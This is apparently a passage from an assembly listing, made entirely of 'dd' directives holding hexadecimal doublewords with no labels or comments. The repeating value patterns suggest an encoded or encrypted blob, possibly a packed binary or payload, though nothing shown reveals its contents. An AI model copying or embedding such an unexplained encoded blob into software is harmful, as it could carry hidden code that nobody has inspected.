3256BC58h dd 4B2637B1h, 3296E2B8h, 3D3737B1h, 3256AA32h, 325620B1h dd 3256EC58h, 691884B1h, 3249BB6Eh, 38DB52B1h, 5256AEB1h dd 0A189E30h, 0CADDB81Fh, 5256D5D0h, 0FCB76BD7h, 0E2D7133Ah dd 3237A82Dh, 0E2D63DB1h, 324546CEh, 364957B1h, 0BF50A4CBh dd 61D13EDFh, 0D64E1BD2h, 0CD830DBh, 6D0FE8E1h, 3D565DD0h dd 3256B133h, 2BDB58B1h, 0DB56ABB1h, 3256D5A5h, 0FA9790Dh dd 92D2EEDFh, 86446115h, 83CB585Ah, 55199798h, 543657B1h dd 3237733Ah, 3ED0DAB1h, 3D56EAB1h, 32567337h, 32D3B5B1h dd 32565DB1h, 33D2A1B1h, 0CE5657B1h, 0DB56AB49h, 3256D5BBh dd 20529DA1h, 668E9246h, 32568183h, 325ED8BEh, 0BA59AEB1h dd 325657B3h, 3256CAD1h, 325757BEh, 32AAEAB1h, 325F9CB1h dd 0B529BAB1h, 7E795186h, 323ED29Fh, 325BBEB1h, 2B9EABB1h dd 0EE24833Ah, 0CB3DFC9Ah, 32041582h, 3ADBB5B1h, 3D565DB1h dd 3256AC3Ch, 323737B1h, 325657B1h, 32503CD1h, 6D0EEAB1h dd 0F20342A7h, 325335BEh, 56ED5DB1h, 5330BB83h, 0BF5957B1h dd 3256ABBDh, 325059BEh, 0B359EAB1h, 325675B1h, 22BFBAB1h dd 0AB565DB1h, 0CCB232C7h, 0ECCFF425h, 507707BAh, 32FF79E2h dd 325616B1h, 32567C58h, 0CC80C4B1h, 1A68CB27h, 3256BFE0h dd 3259D3BEh, 38BFABB1h, 2A56D5B1h, 2EE8DFA9h, 0E93A23CCh dd 0CB56BAABh, 0B9365DB1h, 5B892E41h, 3256AED0h, 0DB56AB44h dd 3256D5BAh, 711605DBh, 3CF7CB31h, 5296719Dh, 0B330853Ah dd 53DA6E50h, 32A357B1h, 32565EB1h, 0B58C54D1h, 8B491D0Ch dd 6388C601h, 3D56BAD0h, 32565133h, 23EDCEB1h, 8A48495Eh dd 36FE3B40h, 3D56D5D0h, 3256E73Ch, 0B33015B1h, 0B3F12570h dd 82A00C51h, 3D36CFC0h, 0C0D7A60Eh, 0C0174E0h, 0CA56D5D0h dd 0B836EAB1h, 32D97A41h, 5356BAB1h, 20BF5DB1h, 0AE56AEB1h dd 0F8217114h, 16D22480h, 0C7FF272Dh, 2E5509FEh, 525675C1h dd 5237E1E7h, 0D2E93BE6h, 3DBFF421h, 0A05657B1h, 12C8B2Dh dd 0CE10F20Ah, 2D1C0102h, 32378881h, 325A53B1h, 9FA55DB1h dd 0AF0BCF37h, 0C5350E68h dd 32568F1Fh, 325750BEh, 32AAEAB1h, 3FD47AB1h, 5256BAB1h dd 3256DFBEh, 53ECAEB1h, 537C8648h, 0B459ABB1h, 3256D5B0h dd 5256EA44h, 32567358h, 0BABCEAB1h, 542F3D51h, 32376D3Ah dd 32AAABB1h, 35D1A4B1h, 3D56D5B1h, 3256EB38h, 325680B1h dd 324753D1h, 63E45DB1h, 0F658A76Ah, 1CD7DDBDh, 0C35C2E2Eh dd 0CBA09E30h, 325803D0h, 0B4E575B1h, 0A7EC172Eh, 6AD988CCh dd 0B9F07D0Ch, 32AA57B1h, 325F42B1h, 6148D5B1h, 8797B1F9h dd 32B97EBEh, 325643B1h, 32565058h, 72B398B1h, 0D8C91A28h dd 18C3C26Ch, 32564364h, 325161BEh, 523675B1h, 0FBE9B5D0h dd 0DB565DD0h, 3256AEBAh, 33863240h, 0B1EA645Bh, 32355E85h dd 325613B1h, 32567358h, 8B5385B1h, 3245019Dh, 325652B1h dd 32565A58h, 2296CB1h, 16B99B2Ch, 0EE892AE8h, 3256F9B7h dd 5256BA44h, 0CF93780Eh, 32AFCFB3h, 27DE58B1h, 0DB56ABB1h dd 3256D5A1h, 0B31CC730h, 9F1E905Fh, 8495B54Ch, 0BC65828Ch dd 3ABFAEB1h, 8E5657B1h, 3131B4E6h, 320DC2F1h, 38DAE5B1h dd 525675B1h, 8CA431D7h, 5A790570h, 0DB56AED0h, 325657A1h dd 2ADED9DBh, 96937374h, 1567B85Fh, 6BA7C79Dh, 0B859BAB1h dd 32565DA5h, 3256A158h, 0A2BFBBB1h, 76F1594Bh, 0C2B37354h dd 23D71DEDh, 32A375B1h, 325D53B1h, 52025DB1h, 0D47B0B1Ch dd 0CD155A35h, 0C756ABDCh, 32AFD5B1h, 325103B1h, 413C75B1h dd 960C85B1h, 0DB565D64h, 3256AEA5h, 66136F7Dh, 1821AD98h dd 2846C70Eh, 364EFB69h, 98B19CACh, 3256B058h, 0D6284FB1h dd 2578E731h, 32850E58h, 3AD2A4B1h, 3D56D5B1h, 3256E83Bh dd 323715B1h, 3ABFDAB1h, 9565DB1h, 0F91E4D17h, 54A8AFADh dd 5395DE0Bh, 32AED5B1h, 38DEE5B1h, 525675B1h, 0E3D7DBD1h dd 1A730DAEh, 5256AED0h, 0CE85E0BEh, 3D56ABD0h, 3256D236h dd 0F6D68AB1h, 533715EEh, 32AABAB1h, 0D7D63DB1h, 31D0A142h dd 545657B1h, 3237743Ah, 325620B1h, 325E6DBEh, 0B45975B1h dd 3256BAB3h, 32563CD1h, 325B46D1h, 1D9157B1h, 56CCFC20h dd 6A4AFE83h, 0DB2738F1h, 325675B6h, 668A2F22h, 6D461D97h dd 53AD19BEh, 39BF57B1h, 6856ABB1h, 687520E4h, 94A6C531h dd 3256916Bh, 32573BBEh, 52A35DB1h, 8BAD11BEh, 67805BF4h dd 0DB56ABD0h, 3256D5A2h, 0FB01FC0Eh, 30808E5h, 862AC04Ah dd 0F78FEC1Ch, 328F7E5Ch, 26DA58B1h, 5256ABB1h, 3256DF59h dd 7E594AB1h, 0A9B5523Fh, 6D782E4Ah, 32378203h, 33D2A1B1h dd 0C75657B1h, 325A21BEh, 0B059D5B1h, 3256EAB7h, 3256F4BEh dd 3256BAB1h, 0C79DD7D1h, 0B759CED0h, 325657B4h, 399F2AD7h dd 7E875590h, 3D56EAD0h, 3256743Bh, 325646B1h, 6036A1D1h dd 0E8B52FEFh, 532F677Eh, 3D56ABD0h, 3256C735h, 3ABF8AB1h dd 565675B1h, 0ABC3C414h, 0B2670CF9h, 32376D6Bh, 3244BEB1h dd 0C665ABB1h, 99F4241Ch, 61ADD283h, 0F9A781A6h, 7A661EE6h dd 54365DB1h, 3D7B200Fh, 32379F0Eh, 325842B1h, 0AA6ED5B1h dd 268CDC36h, 0FA9F966Ch, 96E95681h, 0C7A35DB1h, 32AAAEB1h dd 0E8E537B1h, 0C4E1A4D1h, 3237B449h, 8A308AB1h, 0D1D7E3B2h dd 73954AA7h, 0CA565DD0h, 0BF59AEB1h, 325657B0h, 3D56AB4Dh dd 3256D83Bh, 325E03B1h, 0F88175B1h, 0A9B700A0h, 32AEA4A0h dd 5200CEB1h, 32370DD0h, 21D9A4B1h, 0DB56D5B1h, 3256EABFh dd 0B0B3DDD1h, 0D428BE52h, 158E326h, 35BF783Eh, 0A15657B1h dd 0CB521FE4h, 32564697h, 325803D1h, 217975B1h, 0E35BE863h dd 0F4CFA6FFh, 2E24F0Ch, 32565E58h, 0EC04F6B1h, 0FD5C6BFh dd 3237A57Bh, 0FAD715B1h, 4E79F6DFh, 0ADF9E2D7h, 0CB56AED0h dd 0B35957B1h, 3256ABBDh, 32505FBEh, 0B559EAB1h, 325675B1h dd 3FBFBAB1h, 9F565DB1h, 0D7DC76ACh, 0E64F6C1Dh, 639D802Eh dd 0DBAFD5B1h, 3256EAA2h, 8AD940FAh, 0CC09CA51h, 0C8C42DCCh dd 44C49ACDh, 3289C656h, 3DD2A4B1h, 5256D5B1h, 3256E258h dd 7343F4B1h, 0A0CA7E2Fh, 38BF3CFFh, 0D756AEB1h, 0D13B2CCh dd 0F4AB71B8h, 3D56D5E8h, 3256F738h, 25D37AB1h, 0DB56BAB1h dd 32565DA3h, 857C91A1h, 5460FC37h, 0FBEF23D8h, 6FB77187h dd 3256E2ACh, 479BF5D1h, 3237E105h, 0B3303DB1h, 0DB188E62h dd 325657B7h, 0F7F79C33h, 3237B9D4h, 3EDEE5B1h, 3D5675B1h dd 3256BC32h, 32D152B1h, 3256AEB1h, 38DE58B1h, 0DB56ABB1h dd 3256D5B4h, 2290E80Dh, 0DB56751Fh, 3256BAA1h, 0FA365494h dd 0B87C86A0h, 0E27F716Eh, 1320BFB4h, 20BFD5B1h, 1056EAB1h dd 2EA2A1B1h, 0A275B102h, 0C8F98EA5h, 0A75BC0C6h, 39D45847h dd 5256ABB1h, 325653BEh, 0D6D6EAB1h, 325614A0h, 325E3CBEh dd 89365DB1h, 0E9526B1h, 0BC593649h, 3256ABB0h, 5256D544h dd 3237113Ah, 20D87AB1h, 0DB56BAB1h, 32565DBCh, 0DF358138h dd 16CE68FFh, 0DD412F11h, 3D56D586h, 3256EB39h, 32568CB1h dd 0CB56BA49h, 34BF5DB1h, 0D556AEB1h, 0BC169373h, 5256AB22h dd 32565DBEh, 0CCDCEAB1h, 76EE15D0h, 547DAD92h, 6C23B730h dd 5256AED0h, 0B9306A01h, 3256CA69h, 0C756D548h, 52A3EAB1h dd 3D8CFED7h, 3256B935h, 0C9E152B1h, 5256AED0h, 14809C30h dd 8A30C993h, 3237384Fh, 20DEE5B1h, 0DB5675B1h, 3256BABCh dd 902A559Eh, 0E36F6D79h, 63422973h, 0CE56AB54h, 32AAD5B1h dd 325612B1h, 3251FBBEh, 0BB59BAB1h, 32565DB0h, 23D3A14Dh dd 525657B1h, 3256A158h, 0F9040DB1h, 73CDDB4Fh, 5350CE95h dd 0B159BAB1h, 32565DA0h, 3256A258h, 9A36FEB1h, 36B52954h dd 8CC133CFh, 0CA56EABFh, 32AE75B1h, 33D8B5B1h, 0CA565DB1h dd 32A3AEB1h, 35D758B1h, 5256ABB1h, 771D6ED7h, 32568B44h dd 0DB567544h, 3256BAB6h, 160CE293h, 0DBD05D2Bh, 325657A1h dd 0A62FAE4Eh, 2DE5A5F5h, 0FB50F952h, 65BF204h, 32AEBAB1h dd 33D052B1h, 0CB56AEB1h, 3EBF57B1h, 0F956ABB1h, 0A208AF7Ch dd 0A0CED728h, 32F290A3h, 324553B1h, 27DF5DB1h, 0F641CD88h dd 0CD27F536h, 0DEE94FFAh, 8BE106EDh, 5256EA3Fh, 0F79A2F0Ah dd 8A36DBCDh, 4483AFC0h, 80ED3408h, 325636B5h, 32402CBEh dd 23BFD5B1h, 0BB56EAB1h, 0D2B50BFAh, 3C8D7A44h, 0EE9203B7h dd 6BBAC484h, 32564358h, 5A0CD0B1h, 291CCA35h, 0A8E17443h dd 0BE0E2D75h, 0E89569B9h, 0DB565D6Eh, 3256AEBFh, 0FDB62A5Fh dd 0BC4943E3h, 84E29A41h, 3D368119h, 32567434h, 0B2594FB1h dd 32565DB2h, 539F11BEh, 3D3657B1h, 3256AE37h, 0D4D7B3B1h dd 0C5D7A01Fh, 6117CDABh, 3D56BAD0h, 3256543Eh, 0BA59CEB1h dd 325657B1h, 3256CA49h, 3256DB58h, 0A80C57B1h, 0AF24A478h dd 37435739h, 32050036h, 32565BB1h, 3243D6BEh, 22BFABB1h dd 1156D5B1h, 0BF40DF51h, 8BA8F64Fh, 9F61C486h, 3213AB53h dd 38DCA1B1h, 0DB5657B1h, 3256ABB4h, 0D1095E21h, 0DB56EA62h dd 325675BAh, 6EAB52B1h, 0CA92E7C3h, 32E46E67h, 3256A2B1h dd 22BF5ED1h, 0A156D5B1h, 4A5575CDh, 62B55BECh, 0C151A3FDh dd 53EBF84Ch, 3FBFAEB1h, 9E5657B1h, 0A1BCF66Dh, 25A7BDBCh dd 7E09E463h, 633675B1h, 0CB09DBD1h, 3D565DD0h, 3256AF33h dd 3256ABB1h, 0DB56AB49h, 3256D5A2h, 8DFDDF2Eh, 7A471D9Ch dd 936056E8h, 0EEA10CA7h, 3280388Fh, 21BF37B1h, 0E056ABB1h dd 2C31E17Eh, 0CB0B8FEDh, 4DB1511Ch, 0F885FBA1h, 0E8D71BB4h dd 4837C6B7h, 3D5657D0h dd 3256A33Ch, 30D2DAB1h, 5256EAB1h, 0DB5675D0h, 3256BABEh dd 49249231h, 60018Eh, 0EE8CF964h, 323D8B42h, 8A30B5B1h dd 0F9D7EBD5h, 2196E000h, 32564FD0h, 32565B58h, 8E4B9B1h dd 5286C567h, 32564344h, 0B30CD5B1h, 3212135Bh, 0BE5915B7h dd 3256BAB0h, 0E3D73B44h, 0C7373F8Eh, 0C7BFD23Ch, 26BFAE4Fh dd 9756D5B1h, 0FE35EA96h, 4CB0127Dh, 3EA42BE1h, 8E3D3629h dd 0BB07ED2Eh, 32791233h, 24D7A4B7h, 5256D5B1h, 0D8DE090Fh dd 325F9D92h, 220FBAB1h, 0F097A36Ah, 6A4661BFh, 0ACD4DAD0h dd 0C750AA85h, 1D0A5738h, 0DAAAECB1h, 325641ABh, 3256AE58h dd 0FB9FFFB1h, 65477F17h, 0B35CE2ABh, 0BF651Fh, 8C7DD1CFh dd 3036020Bh, 3FBF75B1h, 5956BAB1h, 5EEED66Ah, 0D59AE204h dd 86972FA6h, 1CD92976h, 3256D3B1h, 60A3EAB1h, 650AC6D1h dd 3256AB58h, 457612B1h, 4FB4E425h, 6EE943FDh, 628D9985h dd 530D0405h, 38E88CD1h, 36D27A48h, 5456BAB1h, 5338CA09h dd 2ACF2B77h, 52005248h, 0DBB84731h, 3256D5BBh, 12CFD791h dd 0FB6F7E60h, 3D375107h, 32565A38h, 33DEA1B1h, 0CA5657B1h dd 9AEEF9D9h, 33DBDA2Dh, 0CE56EAB1h, 3A87C04Eh, 0BB59BF48h dd 32565DAAh, 324447D1h, 3E9B57B1h, 9968C06Ch, 626983BFh dd 0E631B0D9h, 0B8DAA7ECh, 0BF37E1E2h, 0CE934D34h, 0EBD7CEB4h dd 439EE3AAh, 3256AE58h, 6310A7B1h, 0CD374336h, 0B3301561h dd 0DBBB5456h, 32565DA1h, 0D30CC482h, 8E80AB8Ah, 0C1F3B869h dd 0ED31FE2Ah, 3ADBE5D0h, 3D5675B1h, 3256B830h, 0BB373DB1h dd 0CB672334h, 363CAEB4h, 820D19D1h, 323EB4C6h, 0C756EAA1h dd 3F161D44h, 3D36BAB2h, 3256583Ah, 0B8A17B1h, 0EBD768ACh dd 3747C79Fh, 5256BFD0h, 32D7E5D1h, 0B35675B1h, 0C5640D40h dd 8C303CABh, 0CD37DF6Dh, 520CAF61h, 4102134Dh, 39379175h dd 0C6D2E571h, 0DB5675B1h, 3256BABFh, 60168572h, 1CE05C32h dd 159C52F7h, 0B159108Eh, 3256D5B3h, 0B0DF8BD1h, 34565B3Eh dd 0EAD43348h, 0CE505D9Fh, 315BEE08h, 0CADDAEB1h, 8C882AD1h dd 53683673h, 3BBF2A82h, 0B85675B1h, 0F2E61088h, 9831CD3Dh dd 0DBA30442h, 325657B9h, 4DF4566Fh, 0D0677214h, 325D03E3h dd 8CBC75B1h, 7CCC5BDAh, 51DC7BDFh, 0C752C4EFh, 324657D9h dd 325842B1h, 578D5B1h, 4FE0E9ECh, 0A8170C49h, 0F9FCD89Fh dd 34D952D1h, 0B356AEB1h, 0BEBF9C69h, 5A375ED3h, 3256D1B1h dd 324067BEh, 0BB5975B1h, 3256BAA1h, 32565658h, 614325B1h dd 0E24DB738h, 0E0D5D916h, 0CDAFD5DBh, 0CB676723h, 0B33015B4h dd 0DB81F95Ah, 32565DB6h, 18BB8919h, 539C8FECh, 39D2A4EBh dd 0DB56D5B1h, 3256EAB7h, 0FF7B378Dh, 0B0DFFF2Dh, 34566CF9h dd 0C3E9A1D1h, 0F6ED31E6h, 5337F4A9h, 0BDD35E49h, 3D50EA9Fh dd 32566D35h, 324553B1h, 9A695DB1h, 231E771Bh, 9942B19h dd 0D2E9E376h, 21A31080h, 0B93629C1h, 5236144Fh, 0B08B03D7h dd 32565158h, 50FB19B1h, 0B9F8E316h, 4F2F179Ch, 5436B460h dd 54D14A08h, 53B2090Ah, 2B973876h, 32565848h, 0F5A3AEF1h dd 0CB53FE33h, 3246ABB4h, 0BA59B5B1h, 3256EAB3h, 3DBEBB3Bh dd 3256BAB1h, 0A94E132Dh, 78ED02Fh, 0AEA6F2CFh, 0B33040AFh dd 689F3359h, 20BF8BD0h, 0EB5675B1h, 0F46F8438h, 390EB06Ch dd 0C3DD5CE7h, 43D29DE1h, 23BF68B8h, 6A56D5B1h, 5185C211h dd 30195BC0h, 0EB5F36D6h, 0AF33C15Ch, 0B930CED1h, 5390DC7Ah dd 1CD9113Ah, 3EBFD3B1h, 0C056EAB1h, 911B2053h, 1E7D58D1h dd 0CE720247h, 3D569132h, 3256DB35h, 325142B1h, 0A6AFD5B1h dd 95D64875h, 2229F693h, 7ED2B5B3h, 3D565DB1h, 3256AF3Bh dd 4DD5AFB1h, 0B659AFA1h, 3256D5F8h, 3256E258h, 0A80F5BB1h dd 0E30AF027h, 2691DEBEh, 3256A358h, 0DAEFEEB1h, 1A75887Dh dd 86481AEDh, 3ABFA346h, 8E5675B1h, 0D0054206h, 0DBC0CC5Dh dd 0CDA9512Dh, 3257DABEh, 0F5AFABB1h, 3257C5F6h, 0DBAAEAB1h dd 0CDA98A74h, 22117D44h, 32565DB2h, 3256A458h, 5B8C8AB1h dd 0A8991305h, 0DB54531Dh, 0CDA91518h, 0DB36144Dh, 3256BAA1h dd 0AB9F0FE7h, 508B63E5h, 5958B1C6h, 68249760h, 53946ABEh dd 3ABE8A72h, 6F5675B1h, 2737F4A6h, 88BBE610h, 1B5A0BF8h dd 44A1D6E8h, 536AAE68h, 32423CE4h, 6759EAB1h, 2A6748F9h dd 84249A95h, 0FB0B281Fh, 0E33AFA43h, 0DEDDF28Eh, 0DB365E44h dd 3256D5A1h, 0E5B849C2h, 0A76692AEh, 0CF88B0Ah, 71DBB0C1h dd 3256AE59h, 0D8D70DB1h, 3456E221h, 325C5FBEh, 0B336EAB1h dd 3CA67F46h, 5337DA95h, 32564C58h, 0BF53F5B1h, 95048B5Ah dd 173BF055h, 9437740Ah, 3DAEDDC8h, 32567B37h, 0B859DAB1h dd 32565DB1h, 32562BBEh, 0B93757B1h, 3267FC03h, 77DD20B7h dd 325C03B9h, 93B275B1h, 78F21B85h, 0EA536123h, 3D36A838h dd 0B137940Eh, 3267FC33h, 0B659D1B7h, 3256EAB9h, 543715D1h dd 53602E0Bh, 39DF52D0h, 5256AEB1h, 0B397DCD7h, 9B91466Eh dd 0DB9FB4AAh, 3256EAB7h, 44210722h, 36945143h, 0BF593DB1h dd 3256AEB1h, 5395DCD7h, 325D42D1h, 9723D5B1h, 5B58994h dd 0C2E5A649h, 25D1B54Bh, 3D565DB1h, 3256BF37h, 325ABEB1h dd 1B13ABB1h, 72ED2BC4h, 0E6937CAEh, 32BE8A4Ah, 6856BAB1h dd 7830B730h, 0DA36A8B1h, 325657A0h, 4EB17086h, 58D36A22h dd 548D722Dh, 4E90D395h, 0DB0E4F71h, 32565DA3h, 8D00209Ch dd 0CB05D2DFh, 0DA070ABAh, 5DB8FEA5h, 0CB37DAA6h, 31EC73Ah dd 9AFBCB1h, 32670A03h, 66D2A1B7h, 3D5657B0h, 3256BD3Dh dd 32473CB1h, 776EEAB1h, 45505CE5h, 2244059Bh, 2A4785ABh dd 0DBBFB3B5h, 325657A1h, 5283CF62h, 994F7D95h, 0A2F597F2h dd 77C7D825h, 8A36843Ah, 74D62A01h, 52812FD7h, 0EDDD3670h dd 7DE0A449h, 325E3CB0h, 0CFBFEAB1h, 1F2CDA2h, 75A0808Ch dd 0B759DDB0h, 3256AEBBh, 0C78F544Dh, 3256BE58h, 0EB7D2CB1h dd 3256E758h, 166C0B1h, 6E123A38h, 0B4A1763Ah, 0DB15715Ah dd 325657BAh, 0BFF8F5A1h, 900DC6B7h, 7191344Ch, 32566658h dd 557CB5B1h, 12D24655h, 0FF012423h, 6FA7D97Fh, 70B56B1Ch dd 2FAB503Ah, 0B9AFEF48h, 0CB48C43Ch, 324253B4h, 0E3BF5DB1h dd 0FEDFF23h, 0C04FA6C3h, 8C2284B5h, 3871FA7Ch, 0EA6D0A2Ah dd 326BF7BEh, 0B759BAB1h, 32565DBDh, 3256A958h, 3C59A5B1h dd 8AA1B683h, 0B5590C8Ah, 3256EA92h, 32566758h, 7ED56EB1h dd 0F2227493h, 5BEE5091h, 10FDE0Bh, 0B1EC8271h, 0CA36D177h dd 0CCB303D0h, 9AA8A4Eh, 0ED2B57Eh, 3D565DB1h, 3256BE3Fh dd 325DBEB1h, 0A676ABB1h, 0F510854Ch, 3C10F3DCh, 83EBFC3Ah dd 525343AFh, 53B8D7D1h, 3256A558h, 0DF5847B1h, 6C85BEBAh dd 0F5029E3Eh, 0CCC803D0h, 0B9368A4Eh, 53374266h, 52AE9E48h dd 32432DBEh, 22BF57B1h, 356ABB1h, 81EA8A4Fh, 0B4BDF59Ah dd 0EBA1B136h, 0DAA477E2h, 32565DB1h, 19BC2FEBh, 0DB5057FDh dd 3256ABA2h, 23ECF4A5h, 615BFE3Bh, 5CD27C10h, 69C68A0Dh dd 0DB008538h, 3256AEBFh, 3F34744Ch, 0B249B1D0h, 4DCB46CBh dd 88DD2887h, 345644F9h, 0B15946D1h, 32565DB3h, 8B37503Ah dd 325656B1h, 32572ABEh, 1AED5B1h, 3AD5E571h, 3D5675B1h dd 3256B835h, 0C1373DB1h, 0B0DD521Ah, 345666F9h, 34D6A4D1h dd 3D56D5B1h, 3256EA39h, 554BCAB1h, 0BB37C702h, 32670A33h dd 27DCA1B7h, 525657B1h dd 89A615D7h, 3256DF58h, 529E73B1h, 0C25DD720h, 53C948B3h dd 38D652D0h, 0DB56AEB1h, 325657B4h, 0EDA6D537h, 0B23616FDh dd 0B7590F57h, 325675A9h, 3256A958h, 5CDFF4B1h, 3A1739DEh dd 2A53BFFh, 433CCD0h, 0EFCF25D9h, 0B1598AD0h, 325675B6h dd 325731BEh, 0DAAE5DB1h, 3256AEB1h, 3DBCD6EBh, 3D50ABFCh dd 3256C13Eh, 325903B1h, 583875B1h, 70A0C386h, 56044E1Eh dd 78266BDBh, 0BC593727h, 3256ABB2h, 88592531h, 30B42D3Eh dd 0ABD3B3D0h, 645343A9h, 0FBD73BD1h, 0B33033A3h, 5392E677h dd 2D3B92D9h, 35DFDA65h, 3D56EAB1h, 32567438h, 87A943B1h dd 37AF5560h, 22D32349h, 0DB53AB74h, 3256ABA2h, 0A3B860F7h dd 0F4F31631h, 75044900h, 0D57B36FAh, 0CD122E5Fh, 325A4761h dd 0FC9557B1h, 67207B55h, 0B928F688h, 3D04AA6Ch, 32566F35h dd 3CBEDAB1h, 3D565DB1h, 0D963715Eh, 0F2204295h, 24A190A3h dd 89308EEEh, 6237081Dh, 0B2561D44h, 58AABAB1h, 80A9A8B1h dd 3456803Eh, 32565858h, 0C9F2EBB1h, 43B5109Eh, 0BA3E941Fh dd 89CDD67Fh, 0BD596A4Eh, 32565DBDh, 0DCD7C8D1h, 13ED2DDCh dd 534DC684h, 0DB0C2CE9h, 3256EAB4h, 545013ECh, 0B256D208h dd 0DB365DB1h, 3256AEA3h, 0E9A7331Eh, 125F4E58h, 3E198D10h dd 0DDF76B96h, 8D59E220h, 8636DB6Bh, 0C0E952C3h, 0DB56C4D0h dd 325657BDh, 66D214BDh, 3D2BE27Fh, 0F06AABF2h, 31EC74Eh dd 5436BCB1h, 8D59963Ah, 0E2A9CF62h, 325DD6BEh, 34BFABB1h dd 0F956D5B1h, 0A18ED6A6h, 325E9C4Ah, 0A9ECBAB1h, 5B1A9DC1h dd 0DB3744D7h, 325657A3h, 9708E261h, 7B173321h, 8C476C6Ch dd 0B3F87F71h, 3D95CADBh, 32565A36h, 33DBA1B1h, 0CA5657B1h dd 0C0D6CBE4h, 0FADDB32Bh, 0DBBA61D0h, 325675BAh, 0CB8B404Ch dd 8466AF9Ch, 52E28A2Dh, 31DA58D1h, 5456ABB1h, 0DA372B3Ah dd 3256EAB1h, 8DBCF4EBh, 3D50BAFFh, 32564C39h, 325A47B1h dd 593157B1h, 0D6AB2B29h, 3AABA988h, 5436C80Bh, 548B060Eh dd 5386860Bh, 3D5E283Ah, 3256A23Dh, 34D958B1h, 3D56ABB1h dd 3256D532h, 17D2E5B1h, 525675B1h, 3256B559h, 94D6C6B1h dd 285291DBh, 8A8D0D95h, 51D094EDh, 325F3CEBh, 0BFFCEAB1h dd 559D94FBh, 532E418Eh, 32595859h, 325E47B1h, 3AD257B1h dd 6C299E8Ah, 3D034B32h, 3256EF3Bh, 0B9AF15B1h, 0A0A9DB41h dd 345672F4h, 6B05CED1h, 31DA58D0h, 3D56ABB1h, 6F37020Eh dd 325965BEh, 38BF75B1h, 1756BAB1h, 486A44E2h, 0CF1E3BA6h dd 3E236C4Dh, 0CDF82EBEh, 0BB592A4Eh, 3256EAB9h, 5586F4D1h dd 533B26FEh, 32565058h, 0C55491B1h, 727367E6h, 0AE258D68h dd 0A1BE6082h, 0DB56EABFh, 325675B4h, 43356999h, 0CE37A89Fh dd 3A945778h, 3245BEB1h, 0F64ABB1h, 4D90EED2h, 94B07548h dd 45E82B51h, 541C5AE3h, 0B9AE08C4h, 0F6D55B5Dh, 0B859374Dh dd 3256ABB4h, 919CD209h, 0E4E98CA0h, 0CB00148Bh, 0F1D7DCD1h dd 3D054E8Ah, 3256AE36h, 653709B1h, 3256A158h, 236284B1h dd 9048FFCDh, 619C8B13h, 3256A858h, 73D5EAB1h, 0B0100BCDh dd 80C7C777h, 808D2F55h, 0DA5A3B07h, 3256EAB1h, 2DBCF4EBh dd 0DB50BAE1h, 32565DA5h, 0E7FF3C28h, 4CCA07A2h, 0D032E1FFh dd 3E977536h, 0B3555C20h, 32567958h, 751424B1h, 5E68AFCAh dd 9ECE99B2h, 47DDAFCDh, 33D3A4B9h, 0C756D5B1h, 0DB46973Ah dd 325675A1h, 1779E18Fh, 6848E054h, 5776030Ch, 578FC668h dd 0C70057E6h, 3254DE59h, 23BF8AB1h, 0F75675B1h, 0CB978D13h dd 4315A288h, 681ED2BFh, 723C2676h, 3BBFCBD0h, 0E356D5B1h dd 933C0266h, 135D0CB3h, 25395030h, 393705C2h, 16D2A171h dd 3D5657B0h, 3256B23Fh, 32423CB1h, 0AAFFEAB1h, 506C53EFh dd 6D410ECFh, 6F9E912Eh, 0A5985A0Fh, 0CADD2267h, 3256A358h dd 0BDD8D1B1h, 88B2C24Ah, 0B33015F7h, 3DA3E560h, 32565F33h dd 5337CEB1h, 325BBEE4h, 0E74EABB1h, 0F8EBACCDh, 0B8CAF67Eh dd 0CD74CD00h, 3279FF23h, 325FB4B7h, 6F36AEB1h, 0D9EC34B7h dd 6F1145A2h, 0B959B5D1h, 3256EAB1h, 32479CD0h, 381CBAB1h dd 682EB711h, 0CF158566h, 0C7F66C44h, 53E9DB31h, 3D5AA08Ah dd 32567C35h, 0B93080B1h, 324453AFh, 931F5DB1h, 4AC86316h dd 0DD9FC79Fh, 92291CD8h, 952DBF8h, 3DA60D31h, 32566E33h dd 21BEDAB1h, 0CB565DB1h, 313F6DC9h, 0BAAC5193h, 0F5947BA1h dd 746BB298h, 530F445Bh, 21BF6B3Bh, 6D56BAB1h, 7D1AA3FDh dd 0A7936E1h, 63718BFFh, 75A08FC7h, 0D1D623DEh, 2CD5E541h dd 3D5675B1h, 3256A23Ch, 3245B4B1h, 4A57AEB1h, 29815D0Ah dd 88683338h, 2916689h, 83364204h, 17509D07h, 0DBAFBAB1h dd 0CDA9A319h, 3256A858h, 2B1E06B1h, 0BB8B2ABAh, 0DAAA29CCh dd 0CDA91C3Dh, 32567B58h, 53F4EDB1h, 0C6196D50h, 0B9691918h dd 0DBB574BDh, 3256ABA2h, 0FCC4C974h, 0EA167494h, 0BDA5AC66h dd 0B403CF27h, 6999DFE8h, 325723BEh, 6DA357B1h, 3256AC58h dd 2821A3B1h, 0CF3FDFE4h, 2CD57AEFh, 3D56BAB1h, 32564533h dd 324547B1h, 0EBF257B1h, 5D421703h, 718DB62Ch, 0C5298E9Ch dd 0BA317B1Bh, 0CE1331C6h, 32565558h, 0BE0D4BB1h, 0C184CDECh dd 23BF626Fh, 0B656D5B1h, 47DC2242h, 8ACE46A0h, 0EBB154C2h dd 2E372AD2h, 0DB56A273h, 325657A5h, 0AB471084h, 46444E3Dh dd 5DD25242h, 0FE0D50FCh, 8032A075h, 21DE52E4h, 0DB56AEB1h dd 325657BFh, 0FB547A48h, 45DB0CD8h, 4A89CEAh, 0DEDD59C2h dd 0CA923948h, 325DDCBEh, 34BFAEB1h, 8F5657B1h, 73A68B43h dd 24D5DA02h, 0DB56EAB1h, 325675A0h, 488E971Eh, 3025510Ah dd 0A4A79792h, 0D4A15C46h, 3BBFFC3Fh, 4656D5B1h, 6FB9177Ch dd 2AE79F3Ah, 63AAEC48h, 0CB37A5D1h, 37BECEE2h, 0FF5657B1h dd 8FAB10A0h, 540D5D03h, 52373D3Ah, 3256F4BEh, 3DBEBAB1h dd 0D565DB1h, 0F92BF5E5h, 8DBB6D82h, 2D1D53CEh, 20BE407Ah dd 8A56EAB1h, 97D54E3Fh, 5EF1F092h, 161B61ABh, 288C3AB6h dd 530F092Bh, 32AEEE76h, 5256D5B1h, 3DAF55BEh, 32566139h dd 325953B1h, 4EB35DB1h, 0B9C3AE58h, 0CD222993h, 91420BA5h dd 0B091B4A8h, 3456DAC4h, 325675B0h, 3A233148h, 3251D7BEh dd 0BE59AEB1h, 325657B0h, 3242424Dh, 0CA55D5B1h, 2C552F3Eh dd 25E7B631h, 0F2F21D23h, 4F3522C1h, 0B930E932h, 3244BEAFh dd 0EDE9ABB1h, 5FA34F4h, 0BB25C3AAh, 0ADE65A71h, 